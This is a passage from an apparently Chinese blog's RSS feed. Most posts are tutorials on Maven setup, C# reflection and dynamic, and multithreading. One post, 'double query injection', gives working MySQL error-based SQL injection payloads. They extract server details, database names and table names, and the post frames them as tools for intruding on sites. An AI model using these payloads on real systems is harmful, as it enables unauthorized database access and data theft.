&lt;h2 id=&#34;2保存一下&#34;&gt; 2.保存一下&lt;/h2&gt;
&lt;p&gt;完成了。新的本地仓库被放在了D:/maven/repo&lt;/p&gt;
&lt;p&gt;看一下这个目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-local-repo.png&#34;&gt;&lt;img alt=&#34;maven-local-repo&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4bc19a12bd7d869d840c872a9c3bdbfbd55d339c.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;二中央仓库central-repository&#34;&gt; 二.中央仓库(central repository)&lt;/h1&gt;
&lt;p&gt;当我们build一个Maven项目的时候，Maven会检查我们的pom.xml文件，来定义项目的依赖，然后Maven会在本地仓库里查找，如果没有找到，就去maven的中央库去下载，地址是&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://search.maven.org/#browse&#34;&gt;http://search.maven.org/#browse&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看起来是这样的&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-center-repository-search.png&#34;&gt;&lt;img alt=&#34;maven-center-repository-search&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1b90bc7c3b841d566a18777d661d40b159a29b16.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;注意啊，虽然这个是新的中央仓库，但有时候还是会从_“&lt;strong&gt;&lt;a href=&#34;http://repo1.maven.org/maven/&#34;&gt;http://repo1.maven.org/maven/&lt;/a&gt;&lt;/strong&gt;_这个旧仓库下载东西，不过不要紧，理解就行了&lt;/p&gt;
&lt;h1 id=&#34;三远程仓库remote-respository&#34;&gt;三.远程仓库(Remote Respository)&lt;/h1&gt;
&lt;p&gt;在Maven中，当你在pom.xml中生命的依赖既不在本地库，也不在中央库的时候，就会报错。&lt;/p&gt;
&lt;h2 id=&#34;1例子&#34;&gt;1.例子&lt;/h2&gt;
&lt;p&gt;org.jvnet.localizer这个包仅在&lt;a href=&#34;https://maven.java.net/content/repositories/public/&#34;&gt;java.net的仓库里&lt;/a&gt;有(以前是，现在中央仓库也有了。但理解就行)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;   &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.jvnet.localizer&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;localizer&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;1.8&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;当我们build的时候，会失败，并输出未找到错误信息&lt;/p&gt;
&lt;h2 id=&#34;2声明javanet仓库&#34;&gt;2.声明java.net仓库&lt;/h2&gt;
&lt;p&gt;为了告诉Maven从远程仓库里获取依赖，我们需要声明一个远程仓库，在pom.xml里这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;repositories&amp;gt;
	&amp;lt;repository&amp;gt;
	    &amp;lt;id&amp;gt;java.net&amp;lt;/id&amp;gt;
	    &amp;lt;url&amp;gt;https://maven.java.net/content/repositories/public/&amp;lt;/url&amp;gt;
	&amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;&lt;/pre&gt;
&lt;p&gt;这样，Maven搜索依赖的顺序就是：&lt;/p&gt;
&lt;p&gt;1）搜索本地仓库，没有找到，就去第2步，否则退出&lt;/p&gt;
&lt;p&gt;2）搜索中央仓库，没有找到，就去第3步，否则退出&lt;/p&gt;
&lt;p&gt;3）去java.net远程仓库获取，没有找到，就报错，否则退出&lt;/p&gt;
&lt;p&gt;补充：JBoss也有个远程仓库，可以如下配置：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;project ...&amp;gt;
    &amp;lt;repositories&amp;gt;
      &amp;lt;repository&amp;gt;
	&amp;lt;id&amp;gt;JBoss repository&amp;lt;/id&amp;gt;
	&amp;lt;url&amp;gt;http://repository.jboss.org/nexus/content/groups/public/&amp;lt;/url&amp;gt;
      &amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Maven安装教程</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</link>
      <pubDate>Thu, 19 Sep 2013 21:15:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</guid>
      <description>&lt;p&gt;Maven不需要作为服务组件安装到windows上，仅仅需要下载，解压，然后配置一下环境变量就行了&lt;/p&gt;
&lt;h2 id=&#34;1jdk和java_home&#34;&gt;1.JDK和JAVA_HOME&lt;/h2&gt;
&lt;p&gt;确保JDK已经安装，同时JAVA_HOME变量已经添加到了windows环境变量里，指向jdk目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-java-home.png&#34;&gt;&lt;img alt=&#34;maven-java-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3161766919fb6fd118699cc45753f0740be3a6b4.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;2下载maven&#34;&gt;2.下载Maven&lt;/h2&gt;
&lt;p&gt;去&lt;a href=&#34;http://maven.apache.org/download.html&#34;&gt;Maven主页&lt;/a&gt;,选个版本，点击下载&lt;/p&gt;
&lt;h2 id=&#34;3解压&#34;&gt;3.解压&lt;/h2&gt;
&lt;p&gt;解压下载的zip文件，重命名，比如我放到D盘的Maven目录&lt;/p&gt;
&lt;h2 id=&#34;4添加maven_home环境变量&#34;&gt;4.添加MAVEN_HOME环境变量&lt;/h2&gt;
&lt;p&gt;添加一个新的环境变量MAVEN_HOME到环境变量，指向Maven目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-maven-home.png&#34;&gt;&lt;img alt=&#34;maven-maven-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2878c27f389f27afa72040040a0cc54312b388.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;5添加path变量&#34;&gt;5.添加path变量&lt;/h2&gt;
&lt;p&gt;更新Path变量，把Maven的bin目录添加进去，这样就可以在任何地方执行mvn命令了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Maven-Path.png&#34;&gt;&lt;img alt=&#34;Maven-Path&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ec2bd24fcc118b64cb10405acb807c59490c10d6.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;6验证&#34;&gt;6.验证&lt;/h2&gt;
&lt;p&gt;打开命令行，输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn -version&lt;/pre&gt;
&lt;p&gt;如果看到类似下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;C:\Documents and Settings\mkyong&amp;gt;mvn -version
Apache Maven 2.2.1 (r801777; 2009-08-07 03:16:01+0800)
Java version: 1.6.0_13
Java home: C:\Program Files\Java\jdk1.6.0_13\jre
Default locale: en_US, platform encoding: Cp1252
OS name: &#34;windows xp&#34; version: &#34;5.1&#34; arch: &#34;x86&#34; Family: &#34;windows&#34;&lt;/pre&gt;
&lt;p&gt;Maven已经成功的安装配置了。&lt;/p&gt;
&lt;p&gt;老外写的太详细了。。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven实例入门-随机数生成</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</link>
      <pubDate>Thu, 19 Sep 2013 20:50:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</guid>
      <description>&lt;p&gt;看了很多个例子，发现这个最好，译文中会带有我的一些了理解，有问题欢迎指出。&lt;/p&gt;
&lt;h2 id=&#34;0maven是什么&#34;&gt;0.Maven是什么？&lt;/h2&gt;
&lt;p&gt;Apache Maven，是一个软件（特别是Java软件）项目管理及自动构建工具，由Apache软件基金会所提供。基于项目对象模型（缩写：POM）概念，Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。&lt;/p&gt;
&lt;p&gt;可以看到，核心就是项目管理和自动构建了，从例子中将会体会更深。本例创建一个随机数生成程序。&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建项目&#34;&gt;1.从Maven模板创建项目&lt;/h2&gt;
&lt;p&gt;Maven的环境变量配置和java类似，直接添加系统变量MAVEN_HOME指向你下载的maven目录，然后将bin目录添加到path环境变量里。&lt;/p&gt;
&lt;p&gt;在命令行下，进入到你想存储项目的位置，比如，我自己有个叫work的目录，那么我就cd到work目录，然后按下面的格式输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这是告诉Maven从**maven-archetype-quickstart **创建一个java项目，如果你这个参数不填，那么会列出一个列表，让你选择你想创建什么类型，比如web项目啊，啥的。&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt;mvn archetype:generate -DgroupId=com.mkyong -DartifactId=NumberGenerator -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] -- omitted for readability
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-quickstart:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: NumberGenerator
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/NumberGenerator
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.917s
[INFO] Finished at: Mon Dec 17 18:53:58 MYT 2012
[INFO] Final Memory: 9M/24M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这里的groupId就是包名，artifactId就是类名，以后具体的一些其他参数我希望有时间可以跟大家分享。&lt;/p&gt;
&lt;h2 id=&#34;2maven目录结构&#34;&gt;2.Maven目录结构&lt;/h2&gt;
&lt;p&gt;上面的命令第一次执行的时候会从apache网站下载maven的一些其他东西，所以务必保持联网。执行成功后，会生成一个这样的目录结构&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;NumberGenerator
   |-src
   |---main
   |-----java
   |-------com
   |---------mkyong
   |-----------App.java
   |---test
   |-----java
   |-------com
   |---------mkyong
   |-----------AppTest.java
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;这里main目录是我们的程序住代码目录。源代码会放在/src/main/java/包名 目录里，而单元测试代码会放在/src/test/java/包名 目录里。当然还有一个标准的pom.xml文件会生成。这个pom文件其实类似于Ant的build.xml文件，它包含了项目的信息，从目录结构到项目插件到项目依赖，都有了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
  	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
  &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
  &amp;lt;groupId&amp;gt;com.mkyong&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;NumberGenerator&amp;lt;/artifactId&amp;gt;
  &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
  &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
  &amp;lt;name&amp;gt;NumberGenerator&amp;lt;/name&amp;gt;
  &amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;
  &amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt;
      &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
    &amp;lt;/dependency&amp;gt;
  &amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;3用eclipse写代码&#34;&gt;3.用Eclipse写代码&lt;/h2&gt;
&lt;p&gt;maven已经生成了一个完整的工程了，为了能够导入到eclipse里来编辑代码，我们可以把这个项目转换成eclipse可用的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]反射(Reflection)和动态(dynamic)</title>
      <link>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</link>
      <pubDate>Mon, 27 May 2013 08:47:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</guid>
      <description>&lt;h1 id=&#34;反射&#34;&gt;反射&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;当我们需要检查，调用一个程序集的内容的时候，用反射，比如，当VS给智能提示的时候，就应用了反射。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法实例&#34;&gt;简单用法实例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var myAssembly = Assembly.LoadFile(@&#34;C:\ClassLibrary1.dll&#34;);
var myType = myAssembly.GetType(&#34;ClassLibrary1.Class1&#34;);
dynamic objMyClass = Activator.CreateInstance(myType);
// 获取类的类型信息
Type parameterType = objMyClass.GetType();
&lt;p&gt;// 浏览方法
foreach (MemberInfo objMemberInfo in parameterType.GetMembers())
{Console.WriteLine(objMemberInfo.Name);}&lt;/p&gt;
&lt;p&gt;// 浏览属性.
foreach (PropertyInfo objPropertyInfo in parameterType.GetProperties())
{Console.WriteLine(objPropertyInfo.Name);}&lt;/p&gt;
&lt;p&gt;//开始调用
parameterType.InvokeMember(&amp;ldquo;Display&amp;rdquo;,BindingFlags.Public | 
BindingFlags.NonPublic | BindingFlags.InvokeMethod | 
BindingFlags.Instance,null, objMyClass, null);&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际一点的用处呢&#34;&gt;实际一点的用处呢：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;1.当你也要开发一个类似VS的编辑器的时候，要提供智能提示就需要反射&lt;/div&gt;
&lt;div&gt;2.当创建单元测试框架的时候，为了测试需要动态调用方法和属性的时候&lt;/div&gt;
&lt;div&gt;3.有时候我们想把类型的属性，方法等全部导出的时候&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;动态dynamic&#34;&gt;动态dynamic&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;编程语言分为强/弱类型，dynamic是弱类型，此关键字会让编译器不做编译时的类型检查，只做运行时的检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法示例&#34;&gt;简单用法示例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic x = &#34;c#&#34;;
x++;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;所以上面这行代码可以编译通过，但会产生运行时一场。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际用处&#34;&gt;实际用处：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;最多的就是通过互操作来操作Office组件的时候了&lt;/div&gt;
&lt;div&gt;没有dynamic的时候&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;/ Before the introduction of dynamic.
Application excelApplication = new  Application();
((Excel.Range)excelApp.Cells[1, 1]).Value2 = &#34;Name&#34;;
Excel.Range range2008 = (Excel.Range)excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;有了dynamic之后世界就不一样了&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic excelApp = new Application();
excelApp.Cells[1, 1].Value = &#34;Name&#34;;
Excel.Range range2010 = excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;两者的区别和联系呢&#34;&gt;两者的区别和联系呢&lt;/h1&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;1.当我们想要在运行时操作一个对象的时候，就会用到这两个&lt;/div&gt;
&lt;div&gt;2.反射可以用来检测对象的元数据，也能在运行时调用对象的方法和属性&lt;/div&gt;
&lt;div&gt;3.dynamic是.net 4.0新出的关键字，知道方法被调用的时候，编译器才会晓得这个方法到底有还是没有。&lt;/div&gt;
&lt;div&gt;4.dynamic内部是使用反射来实现的，它缓存了方法调用来提高性能&lt;/div&gt;
&lt;div&gt;5.反射可以调用公有和私有成员，而dynamic智能调用用公有成员&lt;/div&gt;
&lt;div&gt;6.dynamic是实例相关的，无法访问静态成员，这种情况下使用反射吧。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;**Reflection**&lt;/td&gt;
&lt;td&gt;**Dynamic**&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Inspect (meta-data) **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke public members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke private members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Caching**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Static class **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
再来一张图...
[![](/images/d0e1ec824f1199a847d9a16237673a4a299e0dce.jpg)](http://leaverimage.b0.upaiyun.com/36512_o.jpg)
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;译自：[http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly](http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>双查询注入</title>
      <link>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 22 Feb 2013 20:57:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;作者：bystander
论坛：法客论坛
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识&lt;/p&gt;
&lt;p&gt;介绍一下双查询注入，有时候我们通过order by 语句获取到了确定的列数，可是当我们使用union select或union select all查询的时候，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--&lt;/pre&gt; 
&lt;p&gt;却会出现一个错误提示，列数不一致。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Different Number of Columns&lt;/pre&gt; 
&lt;p&gt;而我们使用下面的语句：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;执行之后就会显示mysql版本，用户名，服务器名, 以及数据目录…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取数据库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;许多人会在上面的语句里使用:database()方法来获取数据库，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ，这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个：
在普通的SQL注入中，使用如下的语句&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--&lt;/pre&gt; 
&lt;p&gt;会一次爆出所有的数据库
而使用下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--&lt;/pre&gt; 
&lt;p&gt;只会显示当前站点使用的数据库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取表名&lt;/strong&gt;
回正题，我们继续使用双查询来获取数据库的表:&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的，这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#多线程揭秘</title>
      <link>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</link>
      <pubDate>Tue, 12 Feb 2013 16:31:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</guid>
      <description>&lt;p&gt;文章略长。。。
Demo下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=290200&amp;amp;uk=1493685990&#34;&gt;Demo.Threading.zip&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;
本文将通过一些例子来展示.net 中如何实现多线程，涉及到以下四部分。
1 .线程概念
2 .如何实现多线程
3 .如何确保线程安全
4 .死锁&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是进程&lt;/strong&gt;
一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间，线程，对象句柄（指向类似文件这样的资源的指针），以及环境变量，进程还有一些类似优先级类和最大内存分配的属性。&lt;/p&gt;
&lt;p&gt;也就是说：
1 .一个进程就是一个包含资源的内存块。
2 .操作系统执行的一个单独的任务。
3 .一个正在运行的软件
4 .一个进程拥有一个/多个操作系统线程&lt;/p&gt;
&lt;p&gt;一般的。一个进程最大可以是4GB的内存空间，这块内存是安全，私有，其他进程是无法访问的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是线程&lt;/strong&gt;
一个线程就是在一个进程里执行的一条指令流，所有的线程都在一个进程里执行，也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。
也就是说：
1 .一个线程是进程里的一条指令流。
2 .所有的线程在进程里。一个进程可以有多个线程
3 .一个进程的所有线程使用进程的虚拟地址空间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是多线程&lt;/strong&gt;
多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。
&lt;strong&gt;多线程-为什么或是为什么不?&lt;/strong&gt;
为什么多线程
1 .保持UI响应。
2 .提高性能(对于cpu密集型和I/O密集型的进程)
为什么不多线程
1 .过度使用降低性能
2 .代码复杂，增加设计时间，潜在的bug&lt;/p&gt;
&lt;p&gt;线程池
线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后，也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads  方法来改变。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.net 中的线程&lt;/strong&gt;
在.net 中，线程可以通过下面6个方法来实现。
1 .Thread线程类
2 .Delegates委托
3 .Background Worker
4 .ThreadPool 线程池
5 .Task任务类
6 .Parallel并行类&lt;/p&gt;
&lt;p&gt;下面的几部分里。我将逐一展示实现方法。&lt;/p&gt;
&lt;p&gt;简而言之，多线程就是通过使程序同时运行多个任务来最大化计算机能力，同时能够保持UI响应。下图是一个例子的图示。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32605_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/472b9c05527afb3cb133d1d5689cdca367412bc0.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码&lt;/strong&gt;
提供的源码是一个简单的WinForm程序。模拟了.net中委托，线程类和Background Worker三种方法。
程序异步执行一个繁重的操作，这样UI就不会无响应。三个方法都是模拟的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32606_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0567e4556b306284f9d9793d2879ae6716dae23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个“繁重”的操作
真实的开发中，这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候，新的字符串变量会被创建，旧的会被丢弃，这是由CLR处理的。如果做很多次这个操作，是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。&lt;/p&gt;
&lt;p&gt;后面我们有一个Utility泪，有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托&lt;/p&gt;
